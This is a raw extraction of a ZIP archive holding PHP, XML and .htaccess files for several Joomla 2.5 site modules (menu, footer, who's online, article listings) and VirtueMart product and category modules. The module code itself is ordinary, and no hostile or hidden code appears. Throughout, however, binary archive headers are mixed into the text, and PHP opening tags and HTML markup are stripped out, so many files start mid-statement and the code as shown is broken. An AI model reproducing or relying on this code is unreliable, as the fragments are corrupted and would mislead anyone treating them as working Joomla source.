JText::_('MOD_ARTICLES_NEWS_READMORE_REGISTER'); } $item->introtext = JHtml::_('content.prepare', $item->introtext, '', 'mod_articles_news.content'); //new if (!$params->get('image')) { $item->introtext = preg_replace('/]*>/', '', $item->introtext); } $results = $app->triggerEvent('onContentAfterDisplay', array('com_content.article', &$item, &$params, 1)); $item->afterDisplayTitle = trim(implode("\n", $results)); $results = $app->triggerEvent('onContentBeforeDisplay', array('com_content.article', &$item, &$params, 1)); $item->beforeDisplayContent = trim(implode("\n", $results)); } return $items; } } PKYy>\Vmod_articles_news/index.htmlnuW+A PKYy>\P=mod_footer/mod_footer.phpnuW+Aformat('Y'); $csite_name = $app->getCfg('sitename'); if (is_int(JString::strpos(JText :: _('MOD_FOOTER_LINE1'), '%date%'))) { $line1 = str_replace('%date%', $cur_year, JText :: _('MOD_FOOTER_LINE1')); } else { $line1 = JText :: _('MOD_FOOTER_LINE1'); } if (is_int(JString::strpos($line1, '%sitename%'))) { $lineone = str_replace('%sitename%', $csite_name, $line1); } else { $lineone = $line1; } $moduleclass_sfx = htmlspecialchars($params->get('moduleclass_sfx')); require JModuleHelper::getLayoutPath('mod_footer', $params->get('layout', 'default')); PKYy>\[:mod_footer/mod_footer.xmlnuW+A mod_footer Joomla! Project July 2006 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 MOD_FOOTER_XML_DESCRIPTION mod_footer.php tmpl index.html mod_footer.xml en-GB.mod_footer.ini en-GB.mod_footer.sys.ini
    PKYy>\)mod_footer/.htaccessnuW+A Order allow,deny Deny from all PKYy>\Vmod_footer/index.htmlnuW+A PKYy>\Mmod_footer/tmpl/default.phpnuW+A
    PKYy>\)mod_footer/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKYy>\Vmod_footer/tmpl/index.htmlnuW+A PKYy>\ۥTJ J !mod_whosonline/mod_whosonline.xmlnuW+A mod_whosonline Joomla! Project July 2004 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 MOD_WHOSONLINE_XML_DESCRIPTION mod_whosonline.php tmpl helper.php index.html mod_whosonline.xml en-GB.mod_whosonline.ini en-GB.mod_whosonline.sys.ini
    PKYy>\)mod_whosonline/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKYy>\Vmod_whosonline/tmpl/index.htmlnuW+A PKYy>\F7mod_whosonline/tmpl/default.phpnuW+A

    0) && count($names)) : ?>
      get('filter_groups')):?>

    • username; ?>
    \lG>!mod_whosonline/mod_whosonline.phpnuW+Aget('showmode', 0); if ($showmode == 0 || $showmode == 2) { $count = modWhosonlineHelper::getOnlineCount(); } if ($showmode > 0) { $names = modWhosonlineHelper::getOnlineUserNames($params); } $linknames = $params->get('linknames', 0); $moduleclass_sfx = htmlspecialchars($params->get('moduleclass_sfx')); require JModuleHelper::getLayoutPath('mod_whosonline', $params->get('layout', 'default')); PKYy>\)mod_whosonline/.htaccessnuW+A Order allow,deny Deny from all PKYy>\G4mod_whosonline/helper.phpnuW+AgetQuery(true); $query->select('guest, usertype, client_id'); $query->from('#__session'); $query->where('client_id = 0'); $db->setQuery($query); $sessions = (array) $db->loadObjectList(); if (count($sessions)) { foreach ($sessions as $session) { // if guest increase guest count by 1 if ($session->guest == 1 && !$session->usertype) { $guest_array ++; } // if member increase member count by 1 if ($session->guest == 0) { $user_array ++; } } } $result['user'] = $user_array; $result['guest'] = $guest_array; return $result; } // show online member names static function getOnlineUserNames($params) { $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('a.username, a.time, a.userid, a.usertype, a.client_id'); $query->from('#__session AS a'); $query->where('a.userid != 0'); $query->where('a.client_id = 0'); $query->group('a.userid'); $user = JFactory::getUser(); if (!$user->authorise('core.admin') && $params->get('filter_groups', 0) == 1) { $groups = $user->getAuthorisedGroups(); if (empty($groups)) { return array(); } $query->leftJoin('#__user_usergroup_map AS m ON m.user_id = a.userid'); $query->leftJoin('#__usergroups AS ug ON ug.id = m.group_id'); $query->where('ug.id in (' . implode(',', $groups) . ')'); $query->where('ug.id <> 1'); } $db->setQuery($query); return (array) $db->loadObjectList(); } } PKYy>\Vmod_whosonline/index.htmlnuW+A PKYy>\)mod_articles_latest/.htaccessnuW+A Order allow,deny Deny from all PKYy>\N$mod_articles_latest/tmpl/default.phpnuW+A PKYy>\V#mod_articles_latest/tmpl/index.htmlnuW+A PKYy>\)"mod_articles_latest/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKYy>\Ƭ+mod_articles_latest/mod_articles_latest.xmlnuW+A mod_articles_latest Joomla! Project July 2004 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 MOD_LATEST_NEWS_XML_DESCRIPTION mod_articles_latest.php tmpl helper.php index.html mod_articles_latest.xml en-GB.mod_articles_latest.ini en-GB.mod_articles_latest.sys.ini
    PKYy>\SS+mod_articles_latest/mod_articles_latest.phpnuW+Aget('moduleclass_sfx')); require JModuleHelper::getLayoutPath('mod_articles_latest', $params->get('layout', 'default')); PKYy>\;au u mod_articles_latest/helper.phpnuW+A true)); // Set application parameters in model $app = JFactory::getApplication(); $appParams = $app->getParams(); $model->setState('params', $appParams); // Set the filters based on the module params $model->setState('list.start', 0); $model->setState('list.limit', (int) $params->get('count', 5)); $model->setState('filter.published', 1); // Access filter $access = !JComponentHelper::getParams('com_content')->get('show_noauth'); $authorised = JAccess::getAuthorisedViewLevels(JFactory::getUser()->get('id')); $model->setState('filter.access', $access); // Category filter $model->setState('filter.category_id', $params->get('catid', array())); // User filter $userId = JFactory::getUser()->get('id'); switch ($params->get('user_id')) { case 'by_me': $model->setState('filter.author_id', (int) $userId); break; case 'not_me': $model->setState('filter.author_id', $userId); $model->setState('filter.author_id.include', false); break; case '0': break; default: $model->setState('filter.author_id', (int) $params->get('user_id')); break; } // Filter by language $model->setState('filter.language', $app->getLanguageFilter()); // Featured switch switch ($params->get('show_featured')) { case '1': $model->setState('filter.featured', 'only'); break; case '0': $model->setState('filter.featured', 'hide'); break; default: $model->setState('filter.featured', 'show'); break; } // Set ordering $order_map = array( 'm_dsc' => 'a.modified DESC, a.created', 'mc_dsc' => 'CASE WHEN (a.modified = '.$db->quote($db->getNullDate()).') THEN a.created ELSE a.modified END', 'c_dsc' => 'a.created', 'p_dsc' => 'a.publish_up', ); $ordering = JArrayHelper::getValue($order_map, $params->get('ordering'), 'a.publish_up'); $dir = 'DESC'; $model->setState('list.ordering', $ordering); $model->setState('list.direction', $dir); $items = $model->getItems(); foreach ($items as &$item) { $item->slug = $item->id.':'.$item->alias; $item->catslug = $item->catid.':'.$item->category_alias; if ($access || in_array($item->access, $authorised)) { // We know that user has the privilege to view the article $item->link = JRoute::_(ContentHelperRoute::getArticleRoute($item->slug, $item->catslug, $item->language)); } else { $item->link = JRoute::_('index.php?option=com_users&view=login'); } } return $items; } } PKYy>\Vmod_articles_latest/index.htmlnuW+A PKYy>\)mod_menu/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKYy>\.ymod_menu/tmpl/default_url.phpnuW+Aanchor_css ? 'class="'.$item->anchor_css.'" ' : ''; $title = $item->anchor_title ? 'title="'.$item->anchor_title.'" ' : ''; if ($item->menu_image) { $item->params->get('menu_text', 1 ) ? $linktype = ''.$item->title.''.$item->title.' ' : $linktype = ''.$item->title.''; } else { $linktype = $item->title; } $flink = $item->flink; $flink = JFilterOutput::ampReplace(htmlspecialchars($flink)); switch ($item->browserNav) : default: case 0: ?>href="" >href="" target="_blank" >get('window_open'); ?>href="" onclick="window.open(this.href,'targetWindow','');return false;" >\mod_menu/tmpl/default.phpnuW+A PKYy>\g&.#mod_menu/tmpl/default_component.phpnuW+Aanchor_css ? 'class="'.$item->anchor_css.'" ' : ''; $title = $item->anchor_title ? 'title="'.$item->anchor_title.'" ' : ''; if ($item->menu_image) { $item->params->get('menu_text', 1 ) ? $linktype = ''.$item->title.''.$item->title.' ' : $linktype = ''.$item->title.''; } else { $linktype = $item->title; } switch ($item->browserNav) : default: case 0: ?>href="flink; ?>" >href="flink; ?>" target="_blank" >href="flink; ?>" onclick="window.open(this.href,'targetWindow','toolbar=no,location=no,status=no,menubar=no,scrollbars=yes,resizable=yes');return false;" > \&x#mod_menu/tmpl/default_separator.phpnuW+Aanchor_title ? 'title="'.$item->anchor_title.'" ' : ''; if ($item->menu_image) { $item->params->get('menu_text', 1 ) ? $linktype = ''.$item->title.''.$item->title.' ' : $linktype = ''.$item->title.''; } else { $linktype = $item->title; } ?> PKYy>\Vmod_menu/tmpl/index.htmlnuW+A PKYy>\)mod_menu/.htaccessnuW+A Order allow,deny Deny from all PKYy>\:"  mod_menu/helper.phpnuW+AgetMenu(); // If no active menu, use default $active = ($menu->getActive()) ? $menu->getActive() : $menu->getDefault(); $user = JFactory::getUser(); $levels = $user->getAuthorisedViewLevels(); asort($levels); $key = 'menu_items'.$params.implode(',', $levels).'.'.$active->id; $cache = JFactory::getCache('mod_menu', ''); if (!($items = $cache->get($key))) { // Initialise variables. $list = array(); $db = JFactory::getDbo(); $path = $active->tree; $start = (int) $params->get('startLevel'); $end = (int) $params->get('endLevel'); $showAll = $params->get('showAllChildren'); $items = $menu->getItems('menutype', $params->get('menutype')); $lastitem = 0; if ($items) { foreach($items as $i => $item) { if (($start && $start > $item->level) || ($end && $item->level > $end) || (!$showAll && $item->level > 1 && !in_array($item->parent_id, $path)) || ($start > 1 && !in_array($item->tree[$start-2], $path)) ) { unset($items[$i]); continue; } $item->deeper = false; $item->shallower = false; $item->level_diff = 0; if (isset($items[$lastitem])) { $items[$lastitem]->deeper = ($item->level > $items[$lastitem]->level); $items[$lastitem]->shallower = ($item->level < $items[$lastitem]->level); $items[$lastitem]->level_diff = ($items[$lastitem]->level - $item->level); } $item->parent = (boolean) $menu->getItems('parent_id', (int) $item->id, true); $lastitem = $i; $item->active = false; $item->flink = $item->link; // Reverted back for CMS version 2.5.6 switch ($item->type) { case 'separator': // No further action needed. continue; case 'url': if ((strpos($item->link, 'index.php?') === 0) && (strpos($item->link, 'Itemid=') === false)) { // If this is an internal Joomla link, ensure the Itemid is set. $item->flink = $item->link.'&Itemid='.$item->id; } break; case 'alias': // If this is an alias use the item id stored in the parameters to make the link. $item->flink = 'index.php?Itemid='.$item->params->get('aliasoptions'); break; default: $router = JSite::getRouter(); if ($router->getMode() == JROUTER_MODE_SEF) { $item->flink = 'index.php?Itemid='.$item->id; } else { $item->flink .= '&Itemid='.$item->id; } break; } if (strcasecmp(substr($item->flink, 0, 4), 'http') && (strpos($item->flink, 'index.php?') !== false)) { $item->flink = JRoute::_($item->flink, true, $item->params->get('secure')); } else { $item->flink = JRoute::_($item->flink); } $item->title = htmlspecialchars($item->title, ENT_COMPAT, 'UTF-8', false); $item->anchor_css = htmlspecialchars($item->params->get('menu-anchor_css', ''), ENT_COMPAT, 'UTF-8', false); $item->anchor_title = htmlspecialchars($item->params->get('menu-anchor_title', ''), ENT_COMPAT, 'UTF-8', false); $item->menu_image = $item->params->get('menu_image', '') ? htmlspecialchars($item->params->get('menu_image', ''), ENT_COMPAT, 'UTF-8', false) : ''; } if (isset($items[$lastitem])) { $items[$lastitem]->deeper = (($start?$start:1) > $items[$lastitem]->level); $items[$lastitem]->shallower = (($start?$start:1) < $items[$lastitem]->level); $items[$lastitem]->level_diff = ($items[$lastitem]->level - ($start?$start:1)); } } $cache->store($items, $key); } return $items; } } PKYy>\Vmod_menu/index.htmlnuW+A PKYy>\-xzzmod_menu/mod_menu.xmlnuW+A mod_menu Joomla! Project July 2004 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 MOD_MENU_XML_DESCRIPTION mod_menu.php tmpl helper.php index.html mod_menu.xml en-GB.mod_menu.ini en-GB.mod_menu.sys.ini
    PKYy>\!::mod_menu/mod_menu.phpnuW+AgetMenu(); $active = $menu->getActive(); $active_id = isset($active) ? $active->id : $menu->getDefault()->id; $path = isset($active) ? $active->tree : array(); $showAll = $params->get('showAllChildren'); $class_sfx = htmlspecialchars($params->get('class_sfx')); if(count($list)) { require JModuleHelper::getLayoutPath('mod_menu', $params->get('layout', 'default')); } PKYy>\#o,,!mod_virtuemart_product/index.htmlnuW+APKYy>\) mod_virtuemart_product/.htaccessnuW+A Order allow,deny Deny from all PKYy>\Ƅd 1mod_virtuemart_product/mod_virtuemart_product.phpnuW+Aget( 'max_items', 2 ); //maximum number of items to display $layout = $params->get('layout','default'); $category_id = $params->get( 'virtuemart_category_id', null ); // Display products from this category only $filter_category = (bool)$params->get( 'filter_category', 0 ); // Filter the category $display_style = $params->get( 'display_style', "div" ); // Display Style $products_per_row = $params->get( 'products_per_row', 1 ); // Display X products per Row $show_price = (bool)$params->get( 'show_price', 1 ); // Display the Product Price? $show_addtocart = (bool)$params->get( 'show_addtocart', 1 ); // Display the "Add-to-Cart" Link? $headerText = $params->get( 'headerText', '' ); // Display a Header Text $footerText = $params->get( 'footerText', ''); // Display a footerText $Product_group = $params->get( 'product_group', 'featured'); // Display a footerText $mainframe = Jfactory::getApplication(); $virtuemart_currency_id = $mainframe->getUserStateFromRequest( "virtuemart_currency_id", 'virtuemart_currency_id',JRequest::getInt('virtuemart_currency_id',0) ); $key = 'products'.$category_id.'.'.$max_items.'.'.$filter_category.'.'.$display_style.'.'.$products_per_row.'.'.$show_price.'.'.$show_addtocart.'.'.$Product_group.'.'.$virtuemart_currency_id; $cache = JFactory::getCache('mod_virtuemart_product', 'output'); if (!($output = $cache->get($key))) { ob_start(); // Try to load the data from cache. /* Load VM fonction */ if (!class_exists( 'mod_virtuemart_product' )) require('helper.php'); $vendorId = JRequest::getInt('vendorid', 1); if ($filter_category ) $filter_category = TRUE; $productModel = VmModel::getModel('Product'); $products = $productModel->getProductListing($Product_group, $max_items, $show_price, true, false,$filter_category, $category_id); $productModel->addImages($products); $totalProd = count( $products); if(empty($products)) return false; $currency = CurrencyDisplay::getInstance( ); if ($show_addtocart) { //vmJsApi::jPrice(); vmJsApi::cssSite(); } /* Load tmpl default */ require(JModuleHelper::getLayoutPath('mod_virtuemart_product',$layout)); $output = ob_get_clean(); $cache->store($output, $key); } echo $output; ?> PKYy>\l<1mod_virtuemart_product/mod_virtuemart_product.xmlnuW+A mod_virtuemart_product January 10 2014 The VirtueMart Development Team http://www.virtuemart.net ${PHING.VM.COPYRIGH} http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL 2.0.26d MOD_VIRTUEMART_PRODUCT_DESC mod_virtuemart_product.php index.html helper.php tmpl/default.php tmpl/single.php tmpl/index.html
    PKYy>\$S!mod_virtuemart_product/helper.phpnuW+Aload ('com_virtuemart'); if (!class_exists ('calculationHelper')) { require(JPATH_ADMINISTRATOR . DS . 'components' . DS . 'com_virtuemart' . DS . 'helpers' . DS . 'calculationh.php'); } if (!class_exists ('CurrencyDisplay')) { require(JPATH_ADMINISTRATOR . DS . 'components' . DS . 'com_virtuemart' . DS . 'helpers' . DS . 'currencydisplay.php'); } if (!class_exists ('VirtueMartModelVendor')) { require(JPATH_ADMINISTRATOR . DS . 'components' . DS . 'com_virtuemart' . DS . 'models' . DS . 'vendor.php'); } if (!class_exists ('VmImage')) { require(JPATH_ADMINISTRATOR . DS . 'components' . DS . 'com_virtuemart' . DS . 'helpers' . DS . 'image.php'); } if (!class_exists ('shopFunctionsF')) { require(JPATH_SITE . DS . 'components' . DS . 'com_virtuemart' . DS . 'helpers' . DS . 'shopfunctionsf.php'); } if (!class_exists ('calculationHelper')) { require(JPATH_COMPONENT_SITE . DS . 'helpers' . DS . 'cart.php'); } if (!class_exists ('VirtueMartModelProduct')) { JLoader::import ('product', JPATH_ADMINISTRATOR . DS . 'components' . DS . 'com_virtuemart' . DS . 'models'); } class mod_virtuemart_product { static function addtocart ($product) { if (!VmConfig::get ('use_as_catalog', 0)) { $stockhandle = VmConfig::get ('stockhandle', 'none'); if (($stockhandle == 'disableit' or $stockhandle == 'disableadd') and ($product->product_in_stock - $product->product_ordered) < 1) { $button_lbl = JText::_ ('COM_VIRTUEMART_CART_NOTIFY'); $button_cls = 'notify-button'; $button_name = 'notifycustomer'; ?>
    customfieldsCart)) { ?>
    customfieldsCart as $field) { ?>
    show_title == 1) { ?> custom_title ?> custom_tip, $field->custom_title, 'tooltip.png'); ?> display ?> custom_field_desc ?>
    orderable); ?>
    \)%mod_virtuemart_product/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKYy>\tu'mod_virtuemart_product/tmpl/default.phpnuW+A 1) { $float = "floatleft"; } else { $float = "center"; } ?>
    images[0])) { $image = $product->images[0]->displayMediaThumb ('class="featuredProductImage" border="0"', FALSE); } else { $image = ''; } echo JHTML::_ ('link', JRoute::_ ('index.php?option=com_virtuemart&view=productdetails&virtuemart_product_id=' . $product->virtuemart_product_id . '&virtuemart_category_id=' . $product->virtuemart_category_id), $image, array('title' => $product->product_name)); echo '
    '; $url = JRoute::_ ('index.php?option=com_virtuemart&view=productdetails&virtuemart_product_id=' . $product->virtuemart_product_id . '&virtuemart_category_id=' . $product->virtuemart_category_id); ?> product_name ?>
    '; if ($show_price) { // echo $currency->priceDisplay($product->prices['salesPrice']); if (!empty($product->prices['salesPrice'])) { echo $currency->createPriceDiv ('salesPrice', '', $product->prices, FALSE, FALSE, 1.0, TRUE); } // if ($product->prices['salesPriceWithDiscount']>0) echo $currency->priceDisplay($product->prices['salesPriceWithDiscount']); if (!empty($product->prices['salesPriceWithDiscount'])) { echo $currency->createPriceDiv ('salesPriceWithDiscount', '', $product->prices, FALSE, FALSE, 1.0, TRUE); } } if ($show_addtocart) { echo mod_virtuemart_product::addtocart ($product); } ?>
    "; $col = 1; } else { $col++; } } ?>

    • images[0])) { $image = $product->images[0]->displayMediaThumb ('class="featuredProductImage" border="0"', FALSE); } else { $image = ''; } echo JHTML::_ ('link', JRoute::_ ('index.php?option=com_virtuemart&view=productdetails&virtuemart_product_id=' . $product->virtuemart_product_id . '&virtuemart_category_id=' . $product->virtuemart_category_id), $image, array('title' => $product->product_name)); echo '
      '; $url = JRoute::_ ('index.php?option=com_virtuemart&view=productdetails&virtuemart_product_id=' . $product->virtuemart_product_id . '&virtuemart_category_id=' . $product->virtuemart_category_id); ?> product_name ?>
    '; // $product->prices is not set when show_prices in config is unchecked if ($show_price and isset($product->prices)) { echo '
    '.$currency->createPriceDiv ('salesPrice', '', $product->prices, FALSE, FALSE, 1.0, TRUE); if ($product->prices['salesPriceWithDiscount'] > 0) { echo $currency->createPriceDiv ('salesPriceWithDiscount', '', $product->prices, FALSE, FALSE, 1.0, TRUE); } echo '
    '; } if ($show_addtocart) { echo mod_virtuemart_product::addtocart ($product); } ?>
      '; $col = 1; } else { $col++; } $last--; endforeach; ?>
    PKYy>\#o,,&mod_virtuemart_product/tmpl/index.htmlnuW+APKYy>\cBx&mod_virtuemart_product/tmpl/single.phpnuW+A
    images[0]) ) $image = $product->images[0]->displayMediaThumb('class="featuredProductImage" border="0"',false) ; else $image = ''; echo JHTML::_('link', JRoute::_('index.php?option=com_virtuemart&view=productdetails&virtuemart_product_id='.$product->virtuemart_product_id.'&virtuemart_category_id='.$product->virtuemart_category_id),$image,array('title' => $product->product_name) ); echo '
    '; $url = JRoute::_('index.php?option=com_virtuemart&view=productdetails&virtuemart_product_id='.$product->virtuemart_product_id.'&virtuemart_category_id='. $product->virtuemart_category_id); ?> product_name ?>
    '; // $product->prices is not set when show_prices in config is unchecked if ($show_price and isset($product->prices)) { // echo $currency->priceDisplay($product->prices['salesPrice']); if (!empty($product->prices['salesPrice'] ) ) echo $currency->createPriceDiv('salesPrice','',$product->prices,true); // if ($product->prices['salesPriceWithDiscount']>0) echo $currency->priceDisplay($product->prices['salesPriceWithDiscount']); if (!empty($product->prices['salesPriceWithDiscount']) ) echo $currency->createPriceDiv('salesPriceWithDiscount','',$product->prices,true); } if ($show_addtocart) echo mod_virtuemart_product::addtocart($product); ?>
    PKYy>\U u 3mod_virtuemart_category/mod_virtuemart_category.xmlnuW+A mod_virtuemart_category January 10 2014 The VirtueMart Development Team http://www.virtuemart.net ${PHING.VM.COPYRIGH} http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL 2.0.26d MOD_VIRTUEMART_CATEGORY_DESC mod_virtuemart_category.php helper.php index.html tmpl/all.php tmpl/current.php tmpl/default.php tmpl/index.html language en-GB/en-GB.mod_virtuemart_category.ini en-GB/en-GB.mod_virtuemart_category.sys.ini
    PKYy>\ 3mod_virtuemart_category/mod_virtuemart_category.phpnuW+Aget('Parent_Category_id', 0); $class_sfx = $params->get('class_sfx', ''); $moduleclass_sfx = $params->get('moduleclass_sfx',''); $layout = $params->get('layout','default'); $active_category_id = JRequest::getInt('virtuemart_category_id', '0'); $vendorId = '1'; $categories = $categoryModel->getChildCategoryList($vendorId, $category_id); // We dont use image here //$categoryModel->addImages($categories); if(empty($categories)) return false; foreach ($categories as $category) { //$category->childs = VirtueMartModelCategory::getChildCategoryList($vendorId, $category->virtuemart_category_id); //$category->childs = $cache->call( array( 'VirtueMartModelCategory', 'getChildCategoryList' ),$vendorId, $category->virtuemart_category_id ); $category->childs = $categoryModel->getChildCategoryList($vendorId, $category->virtuemart_category_id) ; // No image used here //$categoryModel->addImages($category->childs); } // $catTree = $categoryModel->getCategoriesInfo($vendorId=1 ); // echo json_encode($catTree,JSON_FORCE_OBJECT); $parentCategories = $categoryModel->getCategoryRecurse($active_category_id,0); /* Laod tmpl default */ require(JModuleHelper::getLayoutPath('mod_virtuemart_category',$layout)); ?>PKYy>\#o,,"mod_virtuemart_category/index.htmlnuW+APKYy>\x:"mod_virtuemart_category/helper.phpnuW+APKYy>\)!mod_virtuemart_category/.htaccessnuW+A Order allow,deny Deny from all PKYy>\)&mod_virtuemart_category/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKYy>\B(mod_virtuemart_category/tmpl/default.phpnuW+A " ; $document = JFactory::getDocument(); $document->addScriptDeclaration($js);?>
      " > virtuemart_category_id); $cattext = $category->category_name; //if ($active_category_id == $category->virtuemart_category_id) $active_menu = 'class="active"'; if (in_array( $category->virtuemart_category_id, $parentCategories)) $active_menu = 'class="VmOpen"'; ?>
    • >
      childs) { ?>
      childs) { ?>
    PKYy>\#o,,'mod_virtuemart_category/tmpl/index.htmlnuW+APKYy>\/vv(mod_virtuemart_category/tmpl/current.phpnuW+A
      " > virtuemart_category_id); $cattext = $category->category_name; //if ($active_category_id == $category->virtuemart_category_id) $active_menu = 'class="active"'; if (in_array( $category->virtuemart_category_id, $parentCategories)) $active_menu = 'class="VmOpen"'; ?>
    • >
      childs) { ?>
    PKYy>\$mod_virtuemart_category/tmpl/all.phpnuW+A PKYy>\(::/mod_articles_category/mod_articles_category.xmlnuW+A mod_articles_category Joomla! Project February 2010 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 MOD_ARTICLES_CATEGORY_XML_DESCRIPTION mod_articles_category.php tmpl helper.php index.html mod_articles_category.xml en-GB.mod_articles_category.ini en-GB.mod_articles_category.sys.ini
    PKYy>\X1  /mod_articles_category/mod_articles_category.phpnuW+Aget('mode', 'normal'); $idbase = null; switch($mode) { case 'dynamic': $option = JRequest::getCmd('option'); $view = JRequest::getCmd('view'); if ($option === 'com_content') { switch($view) { case 'category': $idbase = JRequest::getInt('id'); break; case 'categories': $idbase = JRequest::getInt('id'); break; case 'article': if ($params->get('show_on_article_page', 1)) { $idbase = JRequest::getInt('catid'); } break; } } break; case 'normal': default: $idbase = $params->get('catid'); break; } $cacheid = md5(serialize(array ($idbase, $module->module))); $cacheparams = new stdClass; $cacheparams->cachemode = 'id'; $cacheparams->class = 'modArticlesCategoryHelper'; $cacheparams->method = 'getList'; $cacheparams->methodparams = $params; $cacheparams->modeparams = $cacheid; $list = JModuleHelper::moduleCache ($module, $params, $cacheparams); if (!empty($list)) { $grouped = false; $article_grouping = $params->get('article_grouping', 'none'); $article_grouping_direction = $params->get('article_grouping_direction', 'ksort'); $moduleclass_sfx = htmlspecialchars($params->get('moduleclass_sfx')); $item_heading = $params->get('item_heading'); if ($article_grouping !== 'none') { $grouped = true; switch($article_grouping) { case 'year': case 'month_year': $list = modArticlesCategoryHelper::groupByDate($list, $article_grouping, $article_grouping_direction, $params->get('month_year_format', 'F Y')); break; case 'author': case 'category_title': $list = modArticlesCategoryHelper::groupBy($list, $article_grouping, $article_grouping_direction); break; default: break; } } require JModuleHelper::getLayoutPath('mod_articles_category', $params->get('layout', 'default')); } PKYy>\)$mod_articles_category/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKYy>\s~  &mod_articles_category/tmpl/default.phpnuW+A PKYy>\V%mod_articles_category/tmpl/index.htmlnuW+A PKYy>\V mod_articles_category/index.htmlnuW+A PKYy>\ true)); // Set application parameters in model $app = JFactory::getApplication(); $appParams = $app->getParams(); $articles->setState('params', $appParams); // Set the filters based on the module params $articles->setState('list.start', 0); $articles->setState('list.limit', (int) $params->get('count', 0)); $articles->setState('filter.published', 1); // Access filter $access = !JComponentHelper::getParams('com_content')->get('show_noauth'); $authorised = JAccess::getAuthorisedViewLevels(JFactory::getUser()->get('id')); $articles->setState('filter.access', $access); // Prep for Normal or Dynamic Modes $mode = $params->get('mode', 'normal'); switch ($mode) { case 'dynamic': $option = JRequest::getCmd('option'); $view = JRequest::getCmd('view'); if ($option === 'com_content') { switch($view) { case 'category': $catids = array(JRequest::getInt('id')); break; case 'categories': $catids = array(JRequest::getInt('id')); break; case 'article': if ($params->get('show_on_article_page', 1)) { $article_id = JRequest::getInt('id'); $catid = JRequest::getInt('catid'); if (!$catid) { // Get an instance of the generic article model $article = JModelLegacy::getInstance('Article', 'ContentModel', array('ignore_request' => true)); $article->setState('params', $appParams); $article->setState('filter.published', 1); $article->setState('article.id', (int) $article_id); $item = $article->getItem(); $catids = array($item->catid); } else { $catids = array($catid); } } else { // Return right away if show_on_article_page option is off return; } break; case 'featured': default: // Return right away if not on the category or article views return; } } else { // Return right away if not on a com_content page return; } break; case 'normal': default: $catids = $params->get('catid'); $articles->setState('filter.category_id.include', (bool) $params->get('category_filtering_type', 1)); break; } // Category filter if ($catids) { if ($params->get('show_child_category_articles', 0) && (int) $params->get('levels', 0) > 0) { // Get an instance of the generic categories model $categories = JModelLegacy::getInstance('Categories', 'ContentModel', array('ignore_request' => true)); $categories->setState('params', $appParams); $levels = $params->get('levels', 1) ? $params->get('levels', 1) : 9999; $categories->setState('filter.get_children', $levels); $categories->setState('filter.published', 1); $categories->setState('filter.access', $access); $additional_catids = array(); foreach($catids as $catid) { $categories->setState('filter.parentId', $catid); $recursive = true; $items = $categories->getItems($recursive); if ($items) { foreach($items as $category) { $condition = (($category->level - $categories->getParent()->level) <= $levels); if ($condition) { $additional_catids[] = $category->id; } } } } $catids = array_unique(array_merge($catids, $additional_catids)); } $articles->setState('filter.category_id', $catids); } // Ordering $articles->setState('list.ordering', $params->get('article_ordering', 'a.ordering')); $articles->setState('list.direction', $params->get('article_ordering_direction', 'ASC')); // New Parameters $articles->setState('filter.featured', $params->get('show_front', 'show')); $articles->setState('filter.author_id', $params->get('created_by', "")); $articles->setState('filter.author_id.include', $params->get('author_filtering_type', 1)); $articles->setState('filter.author_alias', $params->get('created_by_alias', "")); $articles->setState('filter.author_alias.include', $params->get('author_alias_filtering_type', 1)); $excluded_articles = $params->get('excluded_articles', ''); if ($excluded_articles) { $excluded_articles = explode("\r\n", $excluded_articles); $articles->setState('filter.article_id', $excluded_articles); $articles->setState('filter.article_id.include', false); // Exclude } $date_filtering = $params->get('date_filtering', 'off'); if ($date_filtering !== 'off') { $articles->setState('filter.date_filtering', $date_filtering); $articles->setState('filter.date_field', $params->get('date_field', 'a.created')); $articles->setState('filter.start_date_range', $params->get('start_date_range', '1000-01-01 00:00:00')); $articles->setState('filter.end_date_range', $params->get('end_date_range', '9999-12-31 23:59:59')); $articles->setState('filter.relative_date', $params->get('relative_date', 30)); } // Filter by language $articles->setState('filter.language', $app->getLanguageFilter()); $items = $articles->getItems(); // Display options $show_date = $params->get('show_date', 0); $show_date_field = $params->get('show_date_field', 'created'); $show_date_format = $params->get('show_date_format', 'Y-m-d H:i:s'); $show_category = $params->get('show_category', 0); $show_hits = $params->get('show_hits', 0); $show_author = $params->get('show_author', 0); $show_introtext = $params->get('show_introtext', 0); $introtext_limit = $params->get('introtext_limit', 100); // Find current Article ID if on an article page $option = JRequest::getCmd('option'); $view = JRequest::getCmd('view'); if ($option === 'com_content' && $view === 'article') { $active_article_id = JRequest::getInt('id'); } else { $active_article_id = 0; } // Prepare data for display using display options foreach ($items as &$item) { $item->slug = $item->id.':'.$item->alias; $item->catslug = $item->catid ? $item->catid .':'.$item->category_alias : $item->catid; if ($access || in_array($item->access, $authorised)) { // We know that user has the privilege to view the article $item->link = JRoute::_(ContentHelperRoute::getArticleRoute($item->slug, $item->catslug, $item->language)); } else { // Angie Fixed Routing $app = JFactory::getApplication(); $menu = $app->getMenu(); $menuitems = $menu->getItems('link', 'index.php?option=com_users&view=login'); if(isset($menuitems[0])) { $Itemid = $menuitems[0]->id; } elseif (JRequest::getInt('Itemid') > 0) { //use Itemid from requesting page only if there is no existing menu $Itemid = JRequest::getInt('Itemid'); } $item->link = JRoute::_('index.php?option=com_users&view=login&Itemid='.$Itemid); } // Used for styling the active article $item->active = $item->id == $active_article_id ? 'active' : ''; $item->displayDate = ''; if ($show_date) { $item->displayDate = 